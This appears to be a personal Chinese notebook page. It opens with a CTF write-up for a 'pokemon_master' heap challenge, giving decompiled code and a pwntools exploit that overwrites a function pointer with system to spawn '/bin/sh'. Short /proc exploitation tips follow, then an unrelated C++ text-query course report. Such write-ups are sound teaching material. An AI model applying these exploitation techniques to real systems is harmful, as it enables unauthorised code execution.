*((_DWORD *)buf + 5) = 1;
*((_DWORD *)buf + 7) = 1;
puts("It's so weak...");
}
else if ( v4 <= 666 )
{
if ( v4 == 4 )
{
puts("\nWhat you want to say?");
gets(v7);
(*(void (__fastcall **)(_BYTE *))ex1t)(v7);
}
else if ( v4 <= 4 )
{
switch ( v4 )
{
case 3:
Status(v5);
break;
case 1:
Store(v5);
break;
case 2:
Out(v5);
break;
}
}
}
}
puts("No money, you out:(");
return 0;
}

有个菜单,开局还送libc地址,这怎么输?

但是首先会先让你选精灵,money+=100,之后,就可以根据菜单去做题了。

1
2
3
4
5
6
7
8
int Mainmenu()
{
puts("1.Store");
puts("2.Out");
puts("3.Status");
puts("4.exit_the_world");
return printf(">>>");
}

Start_choose函数

开局选精灵

1
2
3
4
5
puts("Please choose a pokemon to follow you");
puts("1.Pika!");
puts("2.Little Fire Dragon!");
puts("3.Wonderful frog seeds!");
puts("4.Jenny Turtle!");

这里不急,我们往下面分配内存的代码看。

无论选什么都会分配0x20(实际上是0x20+0x10,具体请看ctfwiki堆概况章节)的堆块,这里我们并不知道每一个的意思,但是猜出这是一个结构体,和精灵有关,最有可能想到的是精灵的属性,想不到也不用管。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
unsigned __int64 __fastcall Start_choose(__int64 a1)
{
int v2; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
v2 = 0;
while ( 1 )
{
puts("Please choose a pokemon to follow you");
puts("1.Pika!");
puts("2.Little Fire Dragon!");
puts("3.Wonderful frog seeds!");
puts("4.Jenny Turtle!");
printf(">>>");
__isoc99_scanf("%d", &v2);
if ( v2 == 4 )
break;
if ( v2 <= 4 )
{
switch ( v2 )
{
case 3:
*(_QWORD *)a1 = malloc(0x20uLL);
*(_DWORD *)(*(_QWORD *)a1 + 16LL) = 31;
*(_DWORD *)(*(_QWORD *)a1 + 24LL) = 10;
*(_DWORD *)(*(_QWORD *)a1 + 28LL) = 11;
*(_DWORD *)(*(_QWORD *)a1 + 20LL) = 10;
Pokemon_name(a1, "Bulbasaur");
return v3 - __readfsqword(0x28u);
case 1:
*(_QWORD *)a1 = malloc(0x20uLL);
*(_DWORD *)(*(_QWORD *)a1 + 16LL) = 21;
*(_DWORD *)(*(_QWORD *)a1 + 24LL) = 16;
*(_DWORD *)(*(_QWORD *)a1 + 28LL) = 8;
*(_DWORD *)(*(_QWORD *)a1 + 20LL) = 14;
Pokemon_name(a1, "Pikapi");
return v3 - __readfsqword(0x28u);
case 2:
*(_QWORD *)a1 = malloc(0x20uLL);
*(_DWORD *)(*(_QWORD *)a1 + 16LL) = 25;
*(_DWORD *)(*(_QWORD *)a1 + 24LL) = 12;
*(_DWORD *)(*(_QWORD *)a1 + 28LL) = 14;
*(_DWORD *)(*(_QWORD *)a1 + 20LL) = 14;
Pokemon_name(a1, "Charmander");
return v3 - __readfsqword(0x28u);
}
}
}
*(_QWORD *)a1 = malloc(0x20uLL);
*(_DWORD *)(*(_QWORD *)a1 + 16LL) = 28;
*(_DWORD *)(*(_QWORD *)a1 + 24LL) = 9;
*(_DWORD *)(*(_QWORD *)a1 + 28LL) = 20;
*(_DWORD *)(*(_QWORD *)a1 + 20LL) = 9;
Pokemon_name(a1, "Squirtle");
return v3 - __readfsqword(0x28u);
}

case1 :Store

是一个商店,卖攻击药剂和防御药剂还有精灵球,买精灵球会有change++,猜测是改名机会。

防御剂是攻击下降,防御上升。攻击剂是攻击上升,防御下降。

攻击是a1+20

防御是a1+28

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned __int64 __fastcall Store(__int64 a1)
{
int v2; // [rsp+1Ch] [rbp-14h] BYREF
void *v3; // [rsp+20h] [rbp-10h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
v2 = 0;
while ( 1 )
{
puts("I'm a merchant from GuanDu city, what do you want to buy?");
puts("1.Attack agents");
puts("2.Defensive agents");
puts(a3Pok);
puts("4.EXIT");
printf(">>>");
__isoc99_scanf("%d", &v2);
if ( v2 == 4 )
break;
if ( v2 <= 4 )
{
switch ( v2 )
{
case 3:
money -= 75;
puts("Are you sure this is not a name change card?");
v3 = malloc(0xFuLL);
++change;
goto LABEL_11;
case 1:
money -= 75;
*(_DWORD *)(*(_QWORD *)a1 + 20LL) += 10;
*(_DWORD *)(*(_QWORD *)a1 + 28LL) -= 10;
goto LABEL_11;
case 2:
money -= 75;
*(_DWORD *)(*(_QWORD *)a1 + 20LL) -= 10;
*(_DWORD *)(*(_QWORD *)a1 + 28LL) += 10;
goto LABEL_11;
}
}
}
LABEL_11:
puts("You say: f**king Black-hearted businessman");
return v4 - __readfsqword(0x28u);
}

case 2 : out

外出函数,分析下来就是左转遇到小精灵能够赚钱,右转遇到神兽,打赢了就会free掉一个(ex1t所在的)chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
unsigned __int64 __fastcall Out(__int64 a1)
{
int v2; // [rsp+1Ch] [rbp-14h] BYREF
void *ptr; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
v2 = 0;
Outmenu();
__isoc99_scanf("%d", &v2);
if ( v2 != 1 )
{
puts(
"You haven't encountered a beast, but you've encountered a TAT that guards the treasure, so try to stun it for some loot");
puts("TAT: WTF!");
ptr = malloc(0x20uLL);
*((_DWORD *)ptr + 4) = 1;
*((_DWORD *)ptr + 6) = 15;
*((_DWORD *)ptr + 7) = 1;
*((_DWORD *)ptr + 5) = 1;
Pokemon_name(&ptr, "TAT");
if ( (unsigned int)Fight(a1, ptr) )
{
puts("Your earn some money~");
money += 200;
goto LABEL_8;
}
LABEL_7:
puts("Loser...");
goto LABEL_8;
}
puts("You're very lucky, it's the Divine Beast QWQ that roars in front of you, let's grab it and knock it out first!");
puts("QWQ: qwq~ qwq~ qwq~ qwq~ qwq~ qwq~");
ptr = malloc(0x20uLL);
*((_DWORD *)ptr + 4) = 9999;
*((_DWORD *)ptr + 6) = 15;
*((_DWORD *)ptr + 7) = 9999;
*((_DWORD *)ptr + 5) = 9999;
Pokemon_name(&ptr, "QWQ");
if ( !(unsigned int)Fight(a1, ptr) )
goto LABEL_7;
puts("The soul of the mythical beast flew away...");
free(ex1t);
LABEL_8:
free(ptr);
return v4 - __readfsqword(0x28u);
}

这里用到了Fight函数让两个精灵进行决斗。

Fight函数里面选攻击就好了(就不逆向了,都是一些实现蘸豆的逻辑),但是你要速度快并且一刀能打死QWQ。

case 3 : Status

对当前状况进行查看

1
2
3
4
5
6
7
int __fastcall Status(__int64 a1)
{
printf("Your money: %d\n", money);
puts(aTheStatusOfYou);
Pokemon_print(a1);
return puts("Over~");
}

case 4 : ex1t

使用了函数指针执行退出函数,并且能够控制第一个参数

1
2
3
4
5
6
if ( v4 == 4 )
{
puts("\nWhat you want to say?");
gets(v7);
(*(void (__fastcall **)(_BYTE *))ex1t)(v7);
}

case 666 : gift

会分配一个0x20大小的堆,并且能够改写一部分内存。

1
2
3
4
5
6
7
8
9
10
11
if ( v4 == 666 )
{
puts(aWhyDoesTechnol);
buf = malloc(0x20uLL);
read(0, buf, 0x10uLL);
*((_DWORD *)buf + 4) = 1;
*((_DWORD *)buf + 6) = 1;
*((_DWORD *)buf + 5) = 1;
*((_DWORD *)buf + 7) = 1;
puts("It's so weak...");
}

0x2 思路

开局给了libc地址,这怎么输?

1
2
3
4
5
6
ptr = malloc(0x20uLL);
*((_DWORD *)ptr + 4) = 9999;
*((_DWORD *)ptr + 6) = 15;
*((_DWORD *)ptr + 7) = 9999;
*((_DWORD *)ptr + 5) = 9999;
Pokemon_name(&ptr, "QWQ");

简单观察神兽只有这项属性 *((_DWORD )ptr + 6) = 15最低,ptr是我们堆刚开始的地方

这里Dword是4字节,所以也就是ptr+6*4=ptr+24

我们选精灵的时候,要选这个属性大于QWQ的,才有可能取得胜利。

也就是我们的Pikapi!

在FIght函数逻辑中,有以下片段,这里其实都是通过计算精灵的属性值,来实现蘸豆。我们不妨设想一下,它们中很有可能就包含精灵的攻击属性和防御属性。虽有大部分都是int类型,但是实际上是无符号类型在运算

<font style="color:rgb(77, 77, 77);">*(_QWORD *)</font> 允许你在不知道原始数据类型的情况下,以特定的方式(这里是64位无符号整数)解释和访问内存中的数据。

所以我们选取皮卡丘,在打败两次小怪之后,买防御剂,让自己的攻击溢出到负数,但是比较用的是Qword所以实际上还是unsigned int,此时速度比QWQ快,能够一击秒杀QWQ。这样会free掉特殊堆块,利用case666,然后申请两次申请回特殊堆块(因为第一次是QWQ的堆块。),之后改写ex1t的hook为system即可getshell。

free掉的两个堆块进入bin

0X3 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context(log_level="debug")
p=process("./pokemon_master")
#p=remote("43.248.97.213",30058)
def cmd(i):
p.sendlineafter(">>>",str(i))



#choose pikapi
cmd(1)

#recv libcaddr
p.recvuntil("gift:0x")
puts_addr=int(p.recv(12)[-12:].rjust(16,b'0'),16)
print("puts",hex(puts_addr))
libcbase=puts_addr-0x080e50
system=libcbase+0x050d70

#attack TAT
cmd(2)
cmd(2)
cmd(1)

#buy defense agents
cmd(1)
cmd(2)
cmd(1)
cmd(2)
cmd(3)
#gdb.attach(p)
#attack QWQ
cmd(2)
cmd(1)
cmd(1)

#one gadgte
one=[0x50a47+libcbase,0xebc81+libcbase,0xebc85+libcbase,0xebc88+libcbase]

#CMD 666 backdoor
cmd(666)
p.sendline(p64(system))
cmd(666)
p.sendline(p64(system))
print("libcbase",hex(libcbase))
#gdb.attach(p,"b *$rebase(0x137b)")
cmd(4)
p.sendline("/bin/sh\x00")

p.interactive()

temp

wahahabox

提示:/proc下的文件非常有用

/proc/self/当前存储进程信息的目录

environ

exe

fd

maps

映射信息

libc地址,elf地址,ld地址

libc上有用的东西

system binsh,one_gadget,mprotect, IO_File

/lib/x86_64-linux-gnu/libc.so.6

/proc/self/mem

就算是只读的rodata段上的数据也是可以的。

open、read和lseek才有可能完成内存改写的利用。

ida7.7 插件比较多, 逆向可能需要

ida8.3

ida9.0 比较新,支持很多新特性

类型转换的问题

int的数据转换成unsigned的数据,未经过处理的话,就会有问题。

-1 bigbigbig

0xffffffffff…..

Qword <-> size_t

Dword <-> unsigned

:::info
题目:文本查询程序

实现一个文本查询程序。

需求

1. 使用 C++ 完成代码,确保程序可由 C++ 编译器(如g++)编译。

2. 采用面向对象的思想编写程序,以使程序更为优雅可靠。程序应该尽可能符合正常使用习

惯。

3. 程序实现两个功能,一个是文件格式化功能,另一个是文本查询功能,打开程序时可以选

择功能,类似如下

选择需要的功能:

1. 文件格式化

2. 文本查询

3. 退出

4. 进入文件格式化功能,程序会根据用户后续输入的文件位置(绝对地址或相对地址)和文

件名读取文件,并由用户指定每行最大字符数 n,处理文件,使得文件在行数到达 n 时进

行换行(若为英文,需要切断单词时,提前换行,避免单词被切断,且需使得标点符号不

在行首),并由用户指定保存新文件的位置与新文件名,若位置与新文件名已存在,由用

户确认是否替换(原有文件内容不可改变,除非新文件与原文件在相同位置且有相同文件

名,并被确认替换)。

5. 文本查询允许用户指定一个文件(给定文件位置与文件名),并在其中查询单词,查询结

果是单词在文件中出现的次数及其所在行的列表。如果一个单词在一行中出现多次,此行

只列出一次。行会按照升序输出,即第7行会在第9行之前显示,以此类推。如果查询不

到,则不输出。

6. 文本查询功能可以通过交互式的方式保存用户输入的字符串(与项目二一样,忽略输入时

的各种空格),并可以支持逻辑查询操作(各种逻辑运算)。

10. 尝试支持批量读取文件,并进行针对多文件的查询。

11. 尝试支持将查询结果输出到新文件中,而非打印,如

>>> a | b >> ./result.txt #将结果输出到当前目录的文件result.txt

12. 可尝试多种方式对代码进行优化,包括执行速度、功能等;可以尝试完善错误提示,让错

误提示更加明确;可内嵌帮助文档,通过特定指令能够输出对应帮助文档。

13. 可以使用 STL 等库进行实现,但不能直接采用功能非常类似的他人的程序。

14. 项目报告需对需求进行分析,描述实现方案与项目特色。报告应包含核心代码并进行解

释。如果编译运行复杂,请提供编译运行代码的说明。提供运行结果的展示(如截图),

并尽量给出性能展示与分析。最后给出总结。同时,鼓励写上实现代码时遇到的困难以及

相应的解决思路/方案。

15. 允许适当发挥,使得程序功能更加丰富。

16. 提示:可以参考书籍《C++ Primer 第五版》12.3节与15.9节内容。

:::

实验报告解析

写在前面

得到的一些小细节启发

1.智能指针的初始化

1
2
3
//这样子是在堆上申请内存,同时也能调用set<int>的构造函数
shared_ptr<set<int>> ptr=make_shared<set<int>>()
//如果是new的方法,会导致内存非法访问,大概是因为make_shared控制了它的作用域的问题

2.ofstrem.wirte()方法适用于写二进制数据,而不是文本。

开始解析

:::info
1. 使用 C++ 完成代码,确保程序可由 C++ 编译器(如g++)编译。

2. 采用面向对象的思想编写程序,以使程序更为优雅可靠。程序应该尽可能符合正常使用习

惯。

:::

不需要装多余的库,我们需要用到的基本上STL都有,直接用STL和算法库就行了。因此不需要加多余的编译选项,能够通过编译就行。

本项目是为了实现一个文本查询的功能,需要读写文件操作,需要有文章,打印行号等,为了符合面向对象的思想,同时参考第16点提示去看了一下C++ Primer第五版的对应内容,设计了如下的类,为了适应本程序,所以类里面的对象和方法有一点小小改动。

接下来我们展示我们用到的类

首先是QueryResult和TextQuery类,第一个类设计的目的是为了保存查询后的结果,第二个TextQuery类设计的目的是为了打开文件进行读取操作,然后对文章的内容进行解析。

下面介绍这两个类的功能与作用,以及设计的思想:

基于面向对象的所用类介绍

对于TextQuery

首先对于一篇文章的获取首先要打开文件,程序要求我们查询单词,返回对应的行号和内容。

那么我们首先就要有一个容器存储行号,最好的是set,因为它无序性,不重复。

随后我们输入单词,要返回行号,明显是键值对的结构,这里采用map<string,set>,让它做自己排序

然后要打印其对应行号的内容,这说明我们要存储文章,采用vector存储文章,每个元素就是它的句子。

对于第一个方法,我们在构造函数的时候,就应该把这两个成员处理好,我们读入文章首先要一个文件流,所以传参进来的是一个读入的文件流ifstream。然后一行一行读取进行分割就是。

第二个方法,我们query方法查找要返回一个结果类,结果QueryResult类的代码放在下面一个小标题,我们需要一个string来查询,根据查询的结果(有则返回对应的值,无则返回空集合)采用QueryResult的构造函数返回。

那么问题来了,为了让QueryResult打印出对应的内容,QueryResult也需要传入一个存储文章的容器,这样直接拷贝的话就很麻烦,以及浪费空间,如果直接用TextQuery的file可能还有作用域非法访问的问题,所以我们把TextQuery的成员全部设置成共享指针,让shared_ptr来管理,因此才如代码所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class TextQuery{
private:
shared_ptr<vector<string>> file;//存储文章的向量只能得指针
map<string,shared_ptr<set<unsigned>>> wordmap;//用unsigned存储行号
public:
//初始化需要一个文件流。
TextQuery(ifstream& is):file(new vector<string>)//对文件流的单词句子进行解读
{
string text;
while(getline(is,text))//获取每一行
{//file是一个vector对象
file->push_back(text);
int n=file->size()-1;//也就是行号?下标?
istringstream line(text);
string word;
while(line >> word)//用string这个流分解单词
{//匹配每一个单词
shared_ptr<set<unsigned>> lines;//map的值是一个(set对象的)智能指针
if(!wordmap.count(word)){//如果不存在,说明是新单词,开辟一个set空间,并初始化
lines = make_shared<set<unsigned>>();
wordmap[word] = lines;
}
wordmap[word]->insert(n);
}
}
}
QueryResult query(const string& inputword)const//返回查找结果,查找结果是一个queryRE对象
{//如果未找到,就直接返回一个指向空的set的set共享指针
static shared_ptr<set<unsigned>> nodata(new set<unsigned>());//返回智能指针指向空set
auto loc=wordmap.find(inputword);
if(loc == wordmap.end()){
return QueryResult(inputword,nodata,file);
}else{
return QueryResult(inputword,loc->second,file);
}
}

};

对于QueryResult

对于返回的结果类,我们首先肯定保存有指向文章vector的共享指针,然后还要保存选出来的行号set的共享指针,同时保存需要查询的单词。

同理,该让共享指针管理的就让它管理。该类具有一些获取本成员的方法,以及打印的方法。

在以后得利用差集计算非集,所以也弄了个返回指向文章全部行号的集合的共享指针的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class QueryResult{
private:
string inputword;//需要查询的单词
shared_ptr<set<unsigned>> idx;//出现的行号
shared_ptr<vector<string>> file;//查找的文件
public:
QueryResult(string s,shared_ptr<set<unsigned>> i,shared_ptr<vector<string>> f):inputword(s),idx(i),file(f){

}
void print()
{
cout<<"\""<<this->inputword<<"\"出现了"<<this->idx->size()<<"次"<<endl;
//打印出现的每一行
for(auto num:*(this->idx)){
cout<<" (line "<<num+1<<") ";
cout<<*(this->file->begin()+num)<<endl;
}
}
shared_ptr<vector<string>> getfile(){//返回file的共享指针
return file;
}
shared_ptr<set<unsigned>> getset(){//返回行号的共享指针
return idx;
}
shared_ptr<set<unsigned>> getfileset(){//返回整体行号的共享指针
shared_ptr<set<unsigned>> fileset =make_shared<set<unsigned>>();;
for(int i=0;i<file->size();i++){
fileset->insert(i);
}
return fileset;
}
};

到这里,已经可以实现查询一个单词的功能了

关于采用逻辑查询操作的类

我们需要重载逻辑运算,逻辑运算单目是~,双目是|和&,这就是它们的区别。

运算过程中,运算的操作数是什么类型的,运算后的结果又是什么类型?

虽然我们可以运算出一个集合,然后让两个集合进行逻辑运算,这样子可以实现eval计算的基本思路,但是如果我们还需要别方法呢,比如知道当前是在查询什么东西(如知道查询”~(a|b)”)

我们不妨设计一个类,参考书本设计了对应的类

我们按照对应的运算设计对应的类,如NotQueryOrQueryAndQuery,其中双目运算的类继承于BinaryQuery,然后再继承于QueryBase,NotQuery直接继承于QueryBase。然后就是各自对QueryBase的虚函数以及运算符进行重载

我们让运算返回一个结果,这个结果如果是让共享指针去管理,那么就可以省很多问题,因此设计了Query,有一个成员是指向QueryBase类型的一个共享指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
class QueryBase{
friend class Query;
protected:
unsigned idx;//没用的成员
virtual ~QueryBase(){};
private:
virtual QueryResult eval(const TextQuery&)const{}
virtual string rep()const{}//生成用于查询的rep文本
};

class WordQuery : public QueryBase{
friend class Query;
public:
~WordQuery() override{

}
private:
//构造函数,接收string
WordQuery(const string &s):query_word(s){}
//重载虚构函数
QueryResult eval(const TextQuery &t)const{
return t.query(query_word);//wordquery返回的结果就是根据单词本身返回的QueryRE
}
string rep() const{
return query_word;
}
string query_word;

};

class Query{
//对三个运算符友元
friend Query operator ~(const Query&);
friend Query operator |(const Query& ,const Query &);
friend Query operator &(const Query& ,const Query &);
private:
//构造函数shared_ptr
//传进来是 指向QueryBase类型的 共享指针
shared_ptr<QueryBase> q;//指向基类的指针
public:
Query(shared_ptr<QueryBase> query):q(query){};
Query& operator =(const Query& que){
q=que.q;
return *this;
}
Query(const string &s){
shared_ptr<WordQuery> ptr(new WordQuery(s));
q=ptr;
}//传进来是string类型的 用来构建WordQuery,来创建Query的q成员
QueryResult eval(const TextQuery &t)const{
return q->eval(t);
}
string rep ()const{
return q->rep();
}
friend ostream & operator<<(ostream &os,const Query& query)
{
return os << query.rep();
}
};

class NotQuery : public QueryBase{
friend Query operator ~(const Query &);
public:
~NotQuery() override{

}
private:
NotQuery(const Query &q):query(q){}
string rep()const{
return "~("+query.rep()+")";
}
QueryResult eval(const TextQuery & text)const {
auto sml=query.eval(text);
auto smlset=sml.getset();
auto allset=sml.getfileset();
set<unsigned> resultset;
//包含关系,差集即是非集,大减小即可。集合本身因为迭代特性所以本身就有序。
set_difference(allset->begin(),allset->end(),smlset->begin(),smlset->end(),inserter(resultset,resultset.begin()));
shared_ptr<set<unsigned>> resultptr=make_shared<set<unsigned>>(resultset);
return QueryResult(rep(),resultptr,sml.getfile());
}
Query query;
};
inline Query operator~ (const Query &operand){
return shared_ptr<QueryBase>(new NotQuery(operand));
}
class BinaryQuery : public QueryBase{
friend Query operator ~(const Query &);
protected:
BinaryQuery(const Query &l,const Query &r,string s):lhs(l),rhs(r),opSym(s){}
string rep()const{
return "~("+lhs.rep()+" "+opSym+" "+rhs.rep()+")";
}
Query lhs,rhs;
string opSym;
};

class OrQuery : public BinaryQuery{
friend Query operator |(const Query &,const Query &);
public:
~OrQuery() override{

}
private:
OrQuery(const Query &l,const Query & r):BinaryQuery(l,r,"|"){}
QueryResult eval(const TextQuery &text)const {
//两个成员分别lhs,rhs。求并集不妨找他们返回的set的共享指针,然后用算法求
//lhs和rhs都是WordQuery
auto r=rhs.eval(text),l=lhs.eval(text);
auto retlines=l.getset();
retlines->insert(r.getset()->begin(),r.getset()->end());//左侧的插入右侧形成并集
return QueryResult(rep(),retlines,l.getfile());//两个file都一样
}

};
inline Query operator| (const Query &lhs,const Query &rhs){
return shared_ptr<QueryBase>(new OrQuery(lhs,rhs));
}
class AndQuery : public BinaryQuery{
friend Query operator &(const Query &,const Query &);
public:
~AndQuery() override{

}
private:
AndQuery(const Query &l,const Query & r):BinaryQuery(l,r,"&"){}
QueryResult eval(const TextQuery &text)const {
//两个成员分别lhs,rhs。求交集不妨找他们返回的set的共享指针,然后用算法求
//lhs和rhs都是WordQuery
auto r=rhs.eval(text),l=lhs.eval(text);//R和L是ResultQE
auto lset=l.getset(),rset=r.getset();
set<unsigned> resultset;
set_intersection(lset->begin(),lset->end(),rset->begin(),rset->end(),inserter(resultset,resultset.begin()));
shared_ptr<set<unsigned>> resultptr=make_shared<set<unsigned>>(resultset);
return QueryResult(rep(),resultptr,l.getfile());
}
};
inline Query operator& (const Query &lhs,const Query &rhs){
return shared_ptr<QueryBase>(new AndQuery(lhs,rhs));
}

关于文件资源管理的类(RAII的思想体现)

对于ofstream和ifstream,设计了对应的类管理对象,这样可以让其在不需要的时候调用析构函数。

在构造函数设计了一些东西,比如如果文件流已打开怎么处理,以及文件是否需要覆写。

以及获取当前管理文件流引用的方法,方便其他类方法的传参。

对于FileFormatter是为了实现需求4而设计,含有IFileStream和OfileStream的对象。

首先读取ifstream里的文章是以单词形式读取,这是为了方便格式化处理,让单词一个一个拼接。拼接好了达到要求就放到一个string,然后放到本类的vector newbuf存储,之后再将句子写到ofstream流里即可。

如果下一个句子有句号开头的情况,就直接拼接到本次string后面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
class OFileStream{
private:
string FilePath;
ofstream ofile;
public:
OFileStream(const string &name){
ofile.close();
FilePath=name;
if(FileExists(name)){
cout<<"文件存在,是否进行覆写?(Y/N):";
char response;
cin>>response;
cin.ignore();
if(response=='Y'||response=='y'){
ofile.close();
ofile.open(name,ios::out);
if(ofile.is_open()){//判断文件是否已经创建流
cout<<"文件"<<name<<"成功打开,请写入 :)"<<endl;
}else{
cerr<<"文件"<<name<<"打开出现异常 :("<<endl;
}
}else{
cout<<"保留原有文件,不进行操作"<<endl;
}
}else{
//文件不存在的情况
ofile.close();
ofile.open(name,ios::out);
if(ofile.is_open()){//判断文件是否已经创建流
cout<<"文件"<<name<<"成功打开,请写入 :)"<<endl;
}else{
char ch='0';
throw ch;
}
}
}
~OFileStream(){
FilePath="";
if(ofile.is_open()){
ofile.close();
}
}
ofstream& getofsteram(){
return ofile;
}
};
//文件读取操作流
class IFileStream{
private:
string FilePath;
ifstream ifile;
public:
IFileStream(const string &name){
FilePath=name;
if(ifile.is_open()){//判断文件是否已经创建流
cout<<"文件"<<name<<"已被打开过... :|"<<endl;
}
else{
ifile.open(name);
if(ifile.is_open()){//判断文件是否已经创建流
cout<<"文件"<<name<<"可以读取 :)"<<endl;
}else{
string something="文件"+name+"读取出现异常,不存在的路径 :(";
throw something;
}
}
}
~IFileStream(){
FilePath="";
if(ifile.is_open()){
ifile.close();
}
}

ifstream& getifsteram(){
return ifile;
}
};
class FileFormatter{
private:
OFileStream ost;
IFileStream ist;
vector<string> vecbuf;
vector<string> newbuf;
unsigned num;
public:
FileFormatter(const string FilePath,const string newFilePath,unsigned n):ist(FilePath),ost(newFilePath),num(n),vecbuf(),newbuf(){
}
void readFromFile()//读取源文件
{//ist是读取文件的留,我们利用它把文件读取到指定的容器vector中。
//然后再对其进行格式化。所以此函数的作用就是将ist的内容读取出来放到vector中。
//如果文件不存在,初始化的时候会报错
//该函数作用域结束后会调用析构函数,不会造成资源浪费。
stringstream ss;
string temp,t;
char c[num+10];
while (getline(ist.getifsteram(),temp)){
//temp=c;
ss<<temp;
while(ss >> t){
vecbuf.push_back(t);//把每个单词放在容器里。
}
ss.clear();//提取完一行清除字符串流
}
}
void formatText()//格式化字符句子
{//如果单词字符数大于n,则单独独占一行
//外层循环的结束条件是vector是否用完
while(vecbuf.size()){
string str="";
if(vecbuf.front().length()>=num){
newbuf.push_back(vecbuf.front());
vecbuf.erase(vecbuf.begin());//删除第一个元素
}else{
while(str.length()<num){//对于一个句子,当前句子长度+单词长度大于num就不执行了
bool flag=vecbuf.front()=="."||vecbuf.front()==";"||vecbuf.front()=="!"||vecbuf.front()=="\""||vecbuf.front()==","||vecbuf.front()==":"||vecbuf.front()=="?";
if(str.length()==0){
//检测巨首是不是标点
if(flag){//如果是标点符号,进行处理。
cerr<<"句首出现标点符号"<<endl;
}
if(!vecbuf.empty()){
str=vecbuf.front();
vecbuf.erase(vecbuf.begin());
}
}//如果小于,就继续做
else if((str.length()+vecbuf.front().length()+1)<=num&&!flag){//句子加单词长度大于num,而不是加符号
if(!vecbuf.empty()){
str=str+" "+vecbuf.front();
vecbuf.erase(vecbuf.begin());
}
}
else if(flag){
while(flag){
if(!vecbuf.empty()){//如果句尾是标点连着的话,就连续处理
str=str+" "+vecbuf.front();
vecbuf.erase(vecbuf.begin());
flag=vecbuf.front()=="."||vecbuf.front()==";"||vecbuf.front()=="!"||vecbuf.front()=="\""||vecbuf.front()==","||vecbuf.front()==":"||vecbuf.front()=="?";
}else{
flag=false;
}
}
flag=false;
}
else{
break;
}
if(vecbuf.empty()){
break;
}
}
newbuf.push_back(str);
}
}

}
void saveToFile()//将格式化后的文本内容保存到新的位置和文件名。
{
ofstream& outfile=ost.getofsteram();
for(const string &s:newbuf){
outfile<<s<<endl;
}
}
};

解析需求3,4,5

:::info

  1. 程序实现两个功能,一个是文件格式化功能,另一个是文本查询功能,打开程序时可以选择功能,类似如下

选择需要的功能:

1. 文件格式化

2. 文本查询

3. 退出

:::

main函数就是针对需求3来设计,然后该读取的读取,该调用对的调用,以及可能涉及到的一些异常处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int main()
{//对输入的buf进行判别
int cho;
string buf;

string newbuf;
while(1){
menu();
cin>>cho;
cin.ignore();
switch (cho)
{
case 1://让用户输入路径
cout<<"请输入读取的文件路径"<<endl;
cout<<">>> ";
getline(cin,buf);
cout<<"请指定每行最大的字符数n :)"<<endl;
cout<<">>>";
int num;
cin>>num;
cin.ignore();
cout<<"请指定新文件保存的路径 :)"<<endl;
cout<<">>>";
getline(cin,newbuf);
try{
ff=make_shared<FileFormatter>(buf,newbuf,num);
ff->readFromFile();
ff->formatText();
ff->saveToFile();
}catch(string str){
cerr<<"错误的文件路径"<<buf<<"导致打开异常 :("<<endl;
}catch(char ch){
cerr<<"错误的文件路径"<<buf<<"导致写入异常 :("<<endl;
}
break;
case 2:
cout<<"请输入读取的文件路径"<<endl;
cout<<">>> ";
getline(cin,newbuf);//buf就是路径
try{
ifs=make_shared<IFileStream>(newbuf);
cout<<">>> ";
getline(cin,buf);//从输入流中读取一行数据到buf
BlankFliter(buf);//首先排除空格的影响
StringTraslate(buf);
}catch(string str){
cerr<<str;
}
break;
case 3:
exit(0);
break;
default:
cout<<"无效的选项:("<<endl;
break;
}
}
return 0;
}

:::info
4. 进入文件格式化功能,程序会根据用户后续输入的文件位置(绝对地址或相对地址)和文

件名读取文件,并由用户指定每行最大字符数 n,处理文件,使得文件在行数到达 n 时进

行换行(若为英文,需要切断单词时,提前换行,避免单词被切断,且需使得标点符号不

